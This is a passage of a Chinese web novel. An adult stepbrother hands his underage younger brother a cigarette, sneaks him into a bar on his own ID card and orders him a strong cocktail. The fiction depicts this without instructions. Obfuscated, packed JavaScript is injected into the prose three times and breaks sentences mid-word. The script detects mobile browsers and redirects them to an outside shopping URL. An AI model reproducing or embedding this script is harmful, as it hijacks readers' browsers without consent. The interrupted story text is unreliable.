“我都进去好几次了。”陶最停下来。 乐星回气得鼻子不通气:“我先告诉你,这些年我没有进过你房间,你屋里脏,特别脏。” “所以你挑了一间最脏的屋子当储藏间?”陶最扫了一眼衣柜。衣柜门半开,装着的都是乐星回搬进来的衣服,也没有叠好,泄愤般堆积,好似一头发疯的怪兽只为了霸占空间,其余的一律不管。 乐星回跟着他进去,喋喋不休:“因为我房间不够用了。但只是储藏间,而且这些衣服都是我不喜欢的。” “那我一会儿扔楼下的回收站吧?”陶最拎了一件圆领T恤出来。 “你是个讨厌鬼,陶最,我明确地告诉你。”乐星回绕到他另外一边,“你这些年没有被骂过吗?一定有吧。学校里的同学肯定忍不了你,和你住一起的人一定也忍不了。” 陶最拎出一条白色的运动裤,解开裤带上的蝴蝶结:“是啊,所以和我住的人一定得能忍,忍不了好聚好散。” 乐星回又一次变成被拆分的螃蟹,被打开了:“忍也忍不了多久。就算能忍一时,好感消失之后也忍不了,戴情侣狗链也忍不了。你看着就像无缝衔接的渣男,这些年你带了多少人回去……” 陶最把乐星回的衣服叠好,叠成一小堆,指着:“你记得搬回你屋,我储藏间小了点儿。” “你是不是带人回去过啊?”乐星回仰着头问,“你都带什么样的人回去?高的矮的?” 陶最停下手里动作,像在给他带回去的人认真分类。乐星回等答案,陶最呼出的气到他周围,他像用脸蛋接住了,像戴了一层毒区的口罩,捂得他窒息又不舍得摘掉。 “喜欢带话少的回去吧。”陶最给了肯定句。 4. 一尊大佛 乐星回立刻将嘴巴闭紧。 但马上又张开来:“你真带人回去住过?” “这不是你说的吗?”陶最反过来问他,“乐星回,说话要负责任啊。” “你做人都不负责任,还好意思说我吗?你……”乐星回明知道自己和“话少”不沾边,便气冲冲地说,“衣服我不拿,我就不拿,我还要把所有生活用品都搬过来,塞满你的房间。你要是没地方睡就回自己的地方去,这里太小,装不下您这尊大佛。” 然而装不下的只是房间,只是衣柜,这些都是现实世界里的物体。它们有棱有角,使用面积是明摆着的,不像乐星回胸腔里勃勃跳动的心脏。乐星回扭头回了自己的房间,他脱掉T恤,再次用审视的目光看镜子里的身体,它一点都没长大啊,像贫瘠的瘦土,开不出一朵拿得出手的花朵。 肩峰突起两块骨头,用好听的话来形容,是没有一丝赘肉、体脂率极低、骨肉相贴。通俗来说,就是瘦,瘦瘦又小小。 陶最带回去的人一定不是这样的吧? 不知道为什么,乐星回用自己的审美判断给陶最的性取向下了标准定义。如果带回去女生,陶最喜欢的肯定是高挑性感的大美女,长头发大波浪,身材凹凸有致。如果带回去男生,他喜欢肌肉漂亮的,要高,要能忍他无时无刻不知道从哪个犄角旮旯冒出来的随心所欲。 但无论男女,都得话少。上床的时候肯定也不能出声。 乐星回摸向左胸口,物体有边界,然而意识形态的领域却无边无垠。他至今不懂,心脏明明就是一条肌肉拧成的疙瘩,为什么却能装下那么多的事?衣柜只能放100件衣服,他的心里能放陶最无数的事,一放就放了好几年,没有腾出去过。也没有边界效应,陶最像某种放射性的物质留在了他的心肌当中,每次心脏跳动给全身血液打氧,他都要接受一次全身辐射。 等到乐星回晚上洗澡的时候,这场雨又下起来了。 后天就要开学,乐星回通过军训已经加入了班级群和大一男排队群。大家的ID五花八门,都不用自己的本名。军训那半个月,乐星回和一群巨人同吃同睡,每个人都比自己高一头。实际上自己也不算矮吧,踢正步的时候,乐星回记得自己和教官一样高。 教官也说,他的身高放在兵营里是顶顶够用了。 温热的水从花洒喷出来,乐星回又想起了群里的事。教练暂时没通知他们更改ID,说明每个队员的位置都没定下来。这事可比陶最是不是喜欢自己要重要多了,这关乎到以后自己的职业发展。 乐星回不喜欢打自由人,是心里的大实话。 他喜欢进攻,喜欢二次传球,喜欢出其不意杀对方一个措手不及,还喜欢拦网。可是自由人是什么?是后排的队员,还不能一直驻场,只有后排的副攻发球“死球”之后,自由人才能把副攻换下来。 一旦轮转开始,后排副攻回到前排,自由人就下去了。 更重要的是,乐星回从打排球那天起,就没打过自由人。他是一株过早发育的小树,在别人还165的时候,他窜到了178,窜得非常早。小学、中学他都是队里比较高的那个,一直是前排的猛将! 就是因为他窜得太快,膝盖两侧才有细细密密的生长纹。那时候他总觉得腿骨头酸疼,皮肤干,陶最说骨头疼是长个子,皮肤干是弹性跟不上腿骨的生长,会撕裂。每天晚上他都给自己涂身体乳,从大腿根涂到脚尖,可惜收效甚微,乐星回太瘦了,他的皮脂率不允许这种强拉伸的存在,一夜之间就冒出了肉粉色的纹路。 那也是乐星回最后的荣耀时刻,他在队里打主攻手。紧接着情况急转直下,他不长了。 陶最的离开仿佛带走了他的顶端优势,乐星回的骨缝像被浇水封层,去医院检查过,医生说来不及了,骨骺线已经闭合。至此,身高定格在180,纹丝不动。 乐星回胡思乱想着,低头就见到一地浅红色的水。 “啊!”他惊叫出来,浅红色的水顺着他的大腿一直往下流,在盥洗室里堆积一层。他连忙摸上身,是哪里受伤了吗?难道是陶最的话真给他胸口捅了个窟窿? 惊叫后两三秒,乐星回忽然想起来,哦,对,是粉头发。他想得太入迷,把染发这事给忘了。 真是迷糊啊!乐星回甩甩头发,还好还好,他没吓得喊出陶最的名字,让他哥来救他。不然一定被笑话死。 窗外是雷阵雨,时不时飘来一阵雷声。乐星回吹干头发,在屋里溜溜达达地回荡,一会儿去逗逗乌龟,一会儿去翻翻冰箱。陶叔叔和妈妈的复婚重新改变了冰箱里的格局,以前家里都是快手菜,现在变成了新鲜果蔬。 最大的不一样就是鸡蛋的数量。妈妈每次都买12颗,吃完了再买新鲜的。现在乐星回看着冰箱里36颗鸡蛋,他还是喜欢数量越多越好。为了徒劳地试试长个子,乐星回抓了一个牛角面包,涂上花生酱和巧克力酱,香喷喷地拿回去吃。走到陶最房间门口时他还是停住脚步,在面包上按出了一个小窟窿。 花生酱和巧克力酱从小窟窿里溢出来。 乐星回咬了一口,直接推开了那扇门。 陶最这屋不是落地窗,落地窗那间给了自己,这屋的窗口挨着床。他正压着半身高的窗台往外远眺,乐星回第一眼看到他的背影和无边长腿,随后是窗外一片云彩亮起来,像中了大奖的老虎机,叮咚叮咚宣布云层在摩擦生电。 “您怎么不敲门?”陶最侧着脸问。 “我为什么要敲门……你又不是在打飞机。”乐星回咽下面包。你等着吧陶最,我吃完这个面包就比你高。 陶最笑起来,他就算压着窗台也比乐星回高大:“你怎么知道我没打飞机?” “因为……没有人会脱了裤子对着闪电云层打飞机,除非你是个变态。不过就算我撞上你打飞机我也不会惊讶,你就是那种干坏事被人发现还能面不改色继续打下去的人。”乐星回一步迈了进来。他相信如果某天他不敲门进入房间,撞上了躺在床上自我释放的陶最,叫出声的人一定是自己。 “你别过来,我真在干坏事。”陶最说。 “我不信。”乐星回不仅进来了,还径直走到他旁边。还没站住脚他便愣住,手里的面包被他捏“吐”了。 因为陶最真的在干坏事。 “你怎么抽烟!”乐星回想要去夺他的烟。 陶最只用一只手将他的手拨开,身子连动都没动,像大型动物对小型生物的藐视。他两只手搭着窗户,短袖T恤的正前方被雨水打湿些许,右手夹着一根白色的烟,烟头在燃烧。白色的烟钻进雨水阵容里,被砸成了雨雾,乐星回没闻到任何烟味,又觉得陶最的烟被北京这场雷阵雨稀释了,闹得满城皆是。 “你还要不要命了?你抽烟……叔叔不管吗?我马上就告诉他!”乐星回没见过他这样。 “你瞧,我告诉你了,不要过来,因为我在干坏事。是你非要过来,现在还要怪我。”陶最的白色牙尖又冒出来。 “我要让叔叔打死你。”乐星回急切地说。 陶最不带惊讶地反问:“你觉得我爸能管我?这是他该管的事么?” 乐星回哑口无言,确实,陶叔叔根本管不了他,而且他哥已经成年,是自我负责的成年人。他抽烟还是喝酒,陶叔叔都管不着了。视线在牛角面包和香烟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875572|191890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两者中来回打转,橙红色的烟头比花生酱更成熟。 “叔叔也抽烟,可他从来不当着我妈妈的面抽。”乐星回小声说。 陶最看了他一眼。 “吸烟有害健康,你不戒烟……我就发动其他队友排挤你。”乐星回往窗边靠了靠,“你军训没来,不知道我和队友们混得有多熟,我说话很有分量。他们都很喜欢我,他们都听我的。” 陶最吸烟的一瞬间开始笑。“好可怕啊。” “怕了吧?那你就戒烟。”乐星回把面包放在窗台上,“现在我抓住了你的把柄,你得回答我的问题,军训为什么不来?” “旅游去了。”陶最点点头。 “你骗我。”乐星回反驳。 “真旅游去了,在山里呢,出不来。”陶最又点点头。 烟还剩下半根,仿佛提醒这个把柄很快就消失,有什么赶紧问,乐星回脱口而出:“是自己去吗?还有别人吗?” “别人啊,我想想……”陶最用夹烟的那只手擦了下鼻尖的雨滴,“有。” 我就知道肯定有,准大学生的情侣双人游。乐星回又凑了凑:“陶最,你这件T恤也是情侣款吧?真俗气啊,我想不到你为什么这么俗。你把它脱了我就原谅你抽烟。” 陶最在雨里弹了下烟灰,把烟放在窗外的A4纸折叠的烟灰缸里,右手往后一勾,抓住后领口,直接从头顶扯了下来。刚好外面又有一道闪电,乐星回心想,我哥可真白。 然后才是,他身材真好。 “现在您这尊大佛满意了么?”陶最笑着拿起半截烟。 “还成。”乐星回抓着那件带箭头标志的衣服,从现在起,他宣布这件XXL的衣服就是自己的了,尽管自己的号码是L。陶最手臂的动作牵拉背肌,和腰部形成一个稳定又完美的倒三角,乐星回满心的烦恼无人诉说,又屁滚尿流地倒了出来:“陶最。” “还想要什么?”陶最上身只戴着项链了。 “我不想打自由人,我想打主攻。”乐星回低着头。 “那就去打。”陶最看向他。 “我想听听你的意见。”乐星回抬起脑袋。 陶最又看向雨里,从乐星回的角度看,他哥眼下有黑眼圈。但黑眼圈不影响他哥的颜值,这世道多气人啊,建模好的脸压根不在意瑕疵。 “你想打就去打,自己去试试,我没法给你意见。你不能推卸责任,打不成了就觉得别人的建议不好。乐星回,人必须给自己拿主意。”陶最转了过来,“就像你染头发,你想染就染,真正想干成的事没人能拦着你。” 乐星回专注地看着他眼尾的雨滴。他哥的眼神就像外面的云层,表面平静缜密,一旦专注地看他,就是雷暴。乐星回有时候会害怕,有时候又会幸福。 “我刚才洗澡的时候忘了染发的事了,头发掉色,吓得我叫了一声。”乐星回再近了近。 陶最的烟只剩下一口量。“知道,在我屋听得挺清楚。” 还是被他听见了。乐星回抓起面包啃了一口,看向了把柄:“陶最,我也要抽烟。”抽烟之后是不是就算和哥哥同流合污了?那他们就是“一国”的人,有同一个秘密。他们的关系会被其他人、其他队友更密不可分。 可乐星回又担心,陶最看自己是小孩儿,不给他。 就在他担心之际,陶最从牛仔裤的屁兜里掏出了烟盒,烟盒上宣布:未成年禁止吸烟。 但陶最磕了一根新烟出来,对在一口量的烟屁股上,呼吸间将火星过渡。随后他笑着递给了乐星回,没有半分犹豫:“第一次的第一口慢点儿。” 社会伦理宣布的法则,陶最推翻。 5. 小孩儿 乐星回变成了光着屁股坐在苹果树下的人,只不过他哥不是另外一个亚当,而是打算喂他吃苹果的那条蛇。 闷。他的心情和压抑的雷雨天一样,闷在胸腔里。紧跟着是矛盾,咸味的矛盾成了他舌尖上唯一的滋味,轻而易举压过了花生酱的粘和巧克力酱的浓。自己真的想抽烟吗?乐星回知道不想,他只是想跟着小最哥做一切,他做,自己就做。 他和小最哥从小就是生态位复制的兄弟。因为小时候瘦小,乐星回没什么朋友,他的乐趣就是和小最哥做一样的事情。他吃饭,自己也吃饭,他读书,自己也读书,他打排球,自己也打排球。一样就是好,一样就是棒。 而且他矛盾在心里发凉,他想用故意犯错的方式试探,结果陶最真的纵容他犯错。不是说,喜欢一个人就会希望对方变好吗?陶最是背道而驰了,还是毫无概念? 陶最手里还夹着烟,等着它的第一口。“怎么,抽烟还需要别人手把手教?” “你真混蛋啊。”乐星回看着窗外那团不停放闪的云,稀亮的光彩落在兄弟俩脸上有着微妙的色差。乐星回也变成了掬不起来的汪池,明明自己没有几斤几两水分,却妄想填满这间屋子。 “骂我干什么?”陶最把烟往前递,像递给了一个朋友,那么轻易,带着普通的社交属性。 乐星回沉默了一会儿,突然开腔:“你明明知道我是未成年,你明明知道不能让我抽烟。结果你不仅让我抽二手烟,还教我抽。” “哈哈。”陶最的笑声接得很快,“我说没说过‘你别进来’?” 乐星回垂头不语。 “想抽烟也是你自己说的,对不对?”陶最问。 乐星回这回点了头,窗沿上两个人,他想念哥哥的脊背。小时候他天天可以趴上去。 “所以,和我有什么关系?”陶最将烟收了回去,直接摁死在潮湿苍白的A4纸上面。乐星回看着那个简易的烟灰缸,纸和火相处不了,哪怕它湿了还是被烫了一个镶黑边儿的窟窿。 他听到陶最又说:“你不想抽,就不要让别人给你递烟。你不想抽但是又要烟,别人没有义务钻进你的脑袋里看,像读空气一样去读你到底要什么。你想靠近成年,又想让别人把你当小孩儿,那你就直接说,不要自己憋坏了再怪别人。” “我没怪你。”乐星回嘟哝。 “嗯。”陶最笑了起来,“我也没说你怪我啊。” “讨厌你。”乐星回这回不再多说,又一次转头就走。走了两步他又回来,捏起窗台上的面包,走也要走得有骨气,绝不把面包留给陶最。回屋之后他滚回床上,耳边是陶最刚刚的笑声。 真烦。乐星回用被子蒙住了脑袋。 他应该是气晕了,晕得直接睡过去,但猛然间的惊醒发生在半夜,风从忘记关的窗子潜伏进来,故意挠他的痒痒。醒过来之后他就觉得口渴,刚想起身去拿菠萝汁,忽然一耳朵听到外面的脚步声。 乐星回顿时激活警戒鸣笛,连乌龟拖鞋都没穿:“陶最?你要走?” 门开之后果然是陶最,就像乐星回猜测,他看上去要走。运动夹克穿上了,身上没背包,他来无影去无踪,从来不曾给乐星回安全感这回事。别人要走最起码还拎包,陶最仿佛只有他自己身体这一样必备的行李,哪怕他手里只是捏一步手机,乐星回都坚信他要浪迹天涯,消失得无影无踪。 “你干什么去?”乐星回堵住他的房门,“现在几点了?” 陶最看了眼手机,手机灯照亮他们的脸:“凌晨2点43分?” “那你还好意思出去?你夜里去哪里?”乐星回双手撑着门框,“万一明早他们做早饭的时候找不到你怎么办?早饭做多了怎么办?我一个人又吃不了那么多。” “给乌龟吃。”陶最关上了手机灯。 “你去哪里啊?这个时间外面很危险,有坏人怎么办……”乐星回吃了半句话,你去哪里,你还回来吗?你别走,别让今天的一切都像海市蜃楼,做梦似的。胃里翻滚着胃酸,搅动着乐星回酸楚的疑问,他只能弓着肩胛骨,两只手抵住硬邦邦的门框,然后期待陶最热乎乎的回应。 当陶最安静的那几秒里,乐星回已经产生了幻觉。或许现在他面前的陶最已经是海市蜃楼了,他哥根本没回来过,是自己下了一趟楼,拿着刮胡刀回家,迷糊中见到了最想见的人。中午根本没有什么大闸蟹,也没有乌龟,晚上他啃着一个牛角面包,在陶最空荡荡的睡房里自说自话。 “你要想去就换身衣服。”陶最的声音落在他耳边。 “什么!”乐星回抬起头。 “我不想带着一个穿睡衣的小孩儿。”陶最没有避开他的目光。 带着?带着!这是乐星回这3年里最开心的3秒钟!他收到大学录取通知书都没有现在高兴!他哥说要带着他,只要不穿睡衣就行?乐星回刚想开口问问自己需要穿什么,陶最的轻声细语又一次打断了他:“记得拿上你的身份证。” “身份证?为什么?”乐星回的心跳在狂震。 陶最看了一眼他卷起来的发梢,笑了:“我带你去的地方未成年不让进。” 开心来势汹汹,乐星回一发不可收拾了,什么未成年不让进,他哥要带自己进去,这世界上没有任何人能拦住。他又怕陶最骗他,换衣服的时候跑了,所以开着房门一边盯陶最一边穿衣服。衣服也不用管什么样,这不重要了,乐星回抽出一条运动中长裤,套上了箭头标志的大T恤。 XXL对L而言真的好大啊。 T恤空空荡荡挂在他身上,遮着大腿裤兜,显得他比例超级差劲!像个7:3的人!乐星回又去书包里拿身份证,欢天喜地又做贼心虚,蹑手蹑脚跟着陶最离开了家。 关门的时候,乐星回都不敢呼吸了:“好刺激啊。” 陶最熟练地关上防盗门,再一次笑他:“真不禁刺激。” “说我吗?”乐星回乐开花。 “没,说我呢。”陶最带着他进了电梯。 下楼的时候,乐星回妄想他们其实是私奔了。他们披星戴月地跑,没有别的,只有爱情。可能自己也有复杂的情绪,比方说胆怯?但胆怯会被爱情冲淡吧?然而这样的想法只支持了乐星回一下下,他想到妈妈,还是觉得自己干不出私奔的事情来。 “原来北京的凌晨是这样?”离开小区之后乐星回才敢大声说话,“陶最,你也太大胆了。” “比起凌晨光明正大的出门,还是您背着家长偷溜出来比较大胆。”陶最站在马路牙边等车。 乐星回快乐得像被雨雾托举了,他掐了自己一把,嗯,不是做梦,不是梦游。不一会儿网约车来了,陶最让他先上车,然后跟着钻进了后车厢。乐星回在车载香水里沸腾,这是他第一次夜里出来玩儿,不告诉妈妈,等他哥坐稳,他悄悄地挨近他,手臂碰到了陶最的手臂。 “哇,你比门框硬。”乐星回灵魂出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875573|191890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窍地说道。 “谢谢?”陶最笑着跟司机报了手机尾号。 “这次不用谢。”乐星回挺了挺胸膛,箭头标志变成了他的护身符。 一路上,乐星回都在做梦,他的思维清闲不下来,光是半小时路程他就开始长大了,被大胆叛逆的行径催熟。他不顾一切地开了车窗,全部打开,手臂交叉压在窗框上,任凭雨后夜游的水空气扑面而来。凌晨的路上也不孤单,环路也不孤单,北京的交通问题迎刃而解,红绿灯变成了他的泡泡糖。 到了目的地之后,刚才的光怪陆离暂时隐退,门面漆黑一片。乐星回下了车,虽然面前黑,可是却能听到隐隐约约的音乐声。他跟着陶最走,拐弯,再拐弯,到了一家店面的门口。门口有人排队,陶最过去打招呼,人家就让他进去了。 乐星回紧跟而上,被拦了下来。他紧张的小脸朝向陶最,自己是哪里出了破绽,让人看出是未成年了?自己已经可以夜游北京城了! “身份证。”那人说。 乐星回的心皱巴起来,好歹自己也有180,比排队的男人都高!可还是老老实实摸出身份证。 身份证并不光秃,穿着妙蛙种子的卡套。 他听到那人笑了一声,不过妙蛙种子并没有落到他手里,陶最伸手过来,堂而皇之地送上了他自己的身份证,压在妙蛙种子上层。无论身份证的证件照还是出生年月日都是陶最本人,那人的眼睛忽然瞎了,看了两眼,摆摆手让他们进去。 乐星回长吁一口气,步伐紧凑地贴着他哥后背走路:“这就进来了?你刚才不算骗人吗?弄虚作假?” “那我把你送回去?”陶最反问。 乐星回的脑袋摇成了拨浪鼓,才不要呢。况且店面里面是正经营业场所,一个小小的酒吧,台上还有人唱民谣呢。不让未成年进,应该是不想惹麻烦。再走几步,乐星回看到了熟悉的面孔,宋锐。 陶最的发小,陶最的住处就是自己从他嘴里挖出来的。 宋锐已经坐在吧台边,瞧见乐星回,连忙看陶最:“你怎么带着他来了?” “他夜里不睡觉。”陶最扯了一张高台吧台椅。 “是你声音太大。”乐星回也赶紧扯了一张,有样学样地坐上去,“你们才是夜里不睡觉!你们干嘛约在这里?” “当然是聊天喝酒啊,哈哈。”宋锐朝着乐星回挤了下眼睛,“你这件衣服?” 乐星回偷偷摸摸地看陶最,陶最看酒单:“小孩儿穿大衣。” “太大了吧?像口麻袋。”宋锐撑着下巴调和气氛,“乐乐,你想喝什么?今天宋哥请客。” 乐星回摇摇头,只是专注地研究起吧台的灯光。灯光是冰蓝色,罩在他哥脸上让他想起蓝血人,连血管都蓝的。忽然他看到陶最手里的酒单翻面儿了,整页都不是酒水,而是各种果汁,乐星回连忙摁住酒单,跃跃欲试地说:“我……我会喝酒,我要喝长岛冰茶!” “你喝什么?天啊,那东西可不是冰红茶。”宋锐瞪大了眼睛,“你知道长岛冰茶的别名吗?” “知道……我又不是不上网。”乐星回鼓足勇气,“它有一个很坏的名字,叫失身酒,对吧?” “那你还敢点?”宋锐敲了敲吧台上的按铃,“陶最,你没把你弟教好啊,小孩儿喝大酒。” 银色的按铃叮铃铃晃起来,陶最放下酒单,笑容中看不清究竟是让还是不让:“就是,跟我出来还敢点失身酒了。” 6. 那就不回家 乐星回看见他哥的眼睛会发光。 应该是反光,蓝盈盈的,距离自己只有几十厘米。酒吧里的民谣陆陆续续给氛围加温,什么“怎么会迷上你,我在问自己”,乐星回珍惜地听着,一刹那和演唱者发生了共鸣。 他是这家酒吧里最虔诚的听众,他听懂了歌者的喉咙。他捏着裤兜里的妙蛙种子,心脏在大声呼吁,别人认定无趣的歌词实则熠熠生辉。他甚至认定自己和歌者肯定认识,不然他为什么在这个雨夜唱这首歌给自己听呢? 他享受地听了几句,听到“我什么都能放弃,居然今天难离去”。 这个歌者不止是认识自己,还认识陶最?陶最是那个什么都能放弃的人。乐星回扎入他哥身体的虚影里:“我要喝,我已经是大人了。” 宋锐的笑声比陶最的回应先来。他眼里的乐星回是纯小孩儿,本身就长得显小,说话还想到什么说什么,跳跃性极强,穿上校服就是高一男生。酒保听到铃声,已经站在他们面前,但这毕竟不是自己弟弟,宋锐指了指旁边的人:“问他。” 陶最的目光和酒保撞上。 他的意见似乎会乐星回重合了,扭头问:“你知道自己要喝什么,对吧?” “对。”乐星回梗着脖子回答。 “自己能为自己负责么?”陶最又问。 乐星回硬汉似的皱了皱眉头:“能。” “那好吧。”陶最在歌词高潮中对着酒保点了下脑袋,“给他长岛冰茶。” “正常浓度还是稀释浓度?”酒保都看出粉头发的客人太小。 “正常。”陶最说。 酒水点完了,那首歌也唱完了,四周安安静静地蛰伏起来。乐星回并不觉得自讨没趣,他左顾右盼,注意力完全没有停留在陶最身上,忽然想起一搭就拽他:“陶最。” “等一下。”陶最和宋锐说,放下装着正圆形冰球的酒杯回头,“怎么了?” “酒吧里是不是有薯条?我看电影里是这样。薯条,鸡翅,芝士球。”乐星回点餐,“有牛角面包吗?” “牛角面包咱俩得去山姆。”陶最像看馋猫一样。 一刻钟后,热腾腾的薯条、油亮亮的鸡翅和香喷喷的芝士球,全出现在乐星回面前。长岛冰茶也挑衅一般端了上来,插了一根螺旋状的吸管。乐星回不傻,喝这个之前知道垫垫肚子,捏着鸡翅小口小口啃,忽然带着油星的手指又开始拽他哥:“陶最。” 陶最又一次中断,转回来问:“不好吃?” “你知道喝酒前要吃东西,为什么不主动给我点?”乐星回响亮地问。 陶最看着他的油手笑起来:“想看你喝醉什么样,让你长长记性。” “我就知道……”乐星回细致地擦了擦手,“但你这种行为有一个bug,你想知道吗?” “洗耳恭听。”陶最端起酒杯。 “如果我喝醉了,咱俩夜游北京城喝酒的事就会暴露。我醉醺醺的回家我妈不可能不知道,她鼻子可灵敏了,能闻出我是不是偷懒不洗队服。”乐星回像斗嘴获胜那么骄傲,他比他哥考虑得周到。 想不到陶最反问:“我说过今晚咱们回去么?” 乐星回含着一口酒,冰冰凉酸溜溜,真好喝。他连忙咽下,含混不清地问:“可以不回去吗?我挺想试试……在外面熬穿一夜是什么感觉。我会觉得自己能做主很多事,自己……像个大人。” 陶最笑着把酒杯拿到唇边,很清晰地说:“好,那就不回去了。” 不知道是不是喝了酒的缘故,乐星回的脸烧起来,血液比空气还泛滥,灾难性地漫出了皮肤。他听着他哥的说话时近时远,虽然永远想象不出陶最真正在意一个人什么状态,但最起码这时候他愿意带着自己。酒喝了大半杯,乐星回像吸溜冰红茶,这时候他忽然听到宋锐问陶最:“你是怕冷吗?拉锁拉得那么严实,还是担心有人过来扑你?” “我里头光着。”陶最的声音。 怎么可能光着?乐星回不切实际地想。 宋锐也没相信,动手扯了一下衣服的领口,忽然拍桌子大笑:“我操,你衣服呢?” 陶最指了下旁边。 乐星回感觉自己已经开始做梦了,陶最里面什么都没穿?也对,他回家时没拿随身衣服,就带着乌龟。唯一的一件T恤在自己身上。乐星回又对自己另眼相看,真不错啊乐乐,你哥唯一一件衣服让你抢走了,他现在是真空上阵! 乐星回笑了起来。然而这种笑容在宋锐看来,完蛋,后劲儿上头了。 最后那一杯正常浓度的长岛冰茶有没有喝完,乐星回已经不记得了。他只记得自己小心翼翼抽出了那根螺旋状的吸管,自己已经变成了一只小小的蚂蚁,顺着吸管一路往上爬,越爬,越晕。吸管上的花纹和他的视觉完美融合,乐星回怎么都走不到吸管的顶端,而后视线一闪,他好像离开了酒吧。 离开酒吧的时候,他在后悔。自己应该大方些,给驻场歌手送一朵花,或者送一杯酒。世界这么大难得遇上知己,他怎么会唱出自己心里的疑惑和恐惧呢?不止是喜欢哥哥的迷惑,还有面对陶最有可能喜欢上别人的恐惧。 陶最将来肯定会爱上别人的啊,他肯定会谈恋爱。一想到哥哥将来会光溜溜和别人躺在一起,乐星回就恐惧。 风又吹走了他的这份恐惧,眼前的小路不再是吸管,而是正经八百的石砖。缝隙里的青苔和狗尾巴草相伴,偶尔能瞧见一个孤苦伶仃的路灯,乐星回看到一片白皙的肩膀,还有一只伸向她的手。 “喂!”乐星回的声音冒出来,尽管他自己都不知道在干什么,“你……你放开她!” 他朝着那只大手跌跌撞撞过去,白皙肩膀的惊慌也被他看到了,乐星回继续喊:“不许欺负女生!”就扑了过去,他可能扑了个空,摔了一跤,但此刻的他进入了无敌锁血状态,完全不晓得疼。他的手掌接触到湿润的草地和泥土,狗尾巴草在他手里变形,忽悠一下,像坐着北京欢乐谷的海盗船,他上天入地。 最后的画面是一片黑,是陶最的运动夹克拉锁。 我哥里面没有衣服穿。乐星回只记得这件事,并且幸灾乐祸。 等乐星回再次睁开眼睛,映入眼帘的是一片莫名其妙的天花板。天花板上有漂亮的灯,可是右侧的窗帘却不漂亮,没有妈妈的审美好。屋里有熟悉的气味,像果茶或者花茶,闻着很舒服。身上的被子很厚,压得他浑身大汗,只想给被子翻个面重新盖。 太阳穴好沉好沉。 乐星回揉了揉脑袋,何止是太阳穴沉,整个胳膊都沉死了。这样的胳膊以后还怎么打排球?他惊惧交加。看到左右掌心都有细微的划伤时,乐星回跟见了鬼一样。 “陶最……”他还是叫了出来。 旁边一声轻咳,宣布周围还有其他的生命体,屋里不止是他一个人。乐星回费劲儿地看过去,才发现左侧还有一张床。这就是他哥的出租屋吗?只高兴了片刻,乐星回自我打破了答案,肯定不是,谁家会在屋里放两张单人床?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875574|191890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 是酒店!乐星回爬了起来:“陶最!” “你还是晕着吧,晕着没声儿。”陶最躺在另外一张床上。 “这是哪里啊?是酒店吧?咱们出来开房了?”乐星回的认知被打破再打破,重组再重组。短短一天的功夫他哥回家了,夜里带他出来玩儿,最后两个人夜不归宿! 他跃跃欲试:“是开房吗?以后查身份证……会有开房记录的那种?” “反正你昨晚差点没进来。”陶最伸出一条手臂,拧亮了床头灯。乐星回看向电子表,才7点14分,昨晚夜游的那个北京已经睡觉了,现在是喧闹北京! “为什么没进来?我能去你床上吗?”乐星回掀开被子,才发现膝盖都磕破了,不严重,像玩滑板栽了个跟头。他也不等陶最回答,光着脚下了床,踩着扎脚的地毯两三步过去,跪在陶最床边上。 “我怎么受伤了?”乐星回躺在旁边,小流氓一样扒开他哥的被子,“你怎么不穿衣服?” “因为衣服在你身上。”陶最这才睁眼,能看出不是假困,是真困。 “你要是没钱买衣服,我可以借给你,不收利息。”乐星回先卖了个好,再毛手毛脚地掀开被子,自己往里钻。他哥显然没工夫和他聊天,打了个哈欠直接翻面,像是用这种行为拒绝乐星回蹭床睡。 乐星回直接趴在了他的后背上,像大乌龟驮小乌龟。他哥每次呼吸他都跟着上上下下。 陶最终于再次睁眼:“亏了。” “什么?”乐星回用下巴压着他的肩胛骨上侧,“你记得小时候带我去欢乐谷吗?里面有个气垫船,上上下下的。” “订两张床的房亏了,一张空着。”陶最把脸侧过来。 乐星回压了压他,又说:“我怎么受伤了?你干嘛不保护我……你不知道拉着我走路吗?万一有人拐卖小孩儿怎么办?” 陶最笑出声来:“小孩儿见义勇为,见着有人撒酒疯还冲上去,让人推了个马趴。” 乐星回目瞪口呆。“那……那后来呢?见义勇为?发生什么了?” “后来我和宋锐刚过去,那人跑得没影儿了。”陶最眯起了细长的眼睛。乐星回对此不予置评,但他哥和宋锐的身高确实有气势,他们都可以不说话,只需要往前走,那人就害怕。 低迷的情绪一扫而空,乐星回担心陶最又睡着,拍着他说:“我都见义勇为了,能不能奖励我吃顿好的?” “五块钱以下的。”陶最回应。 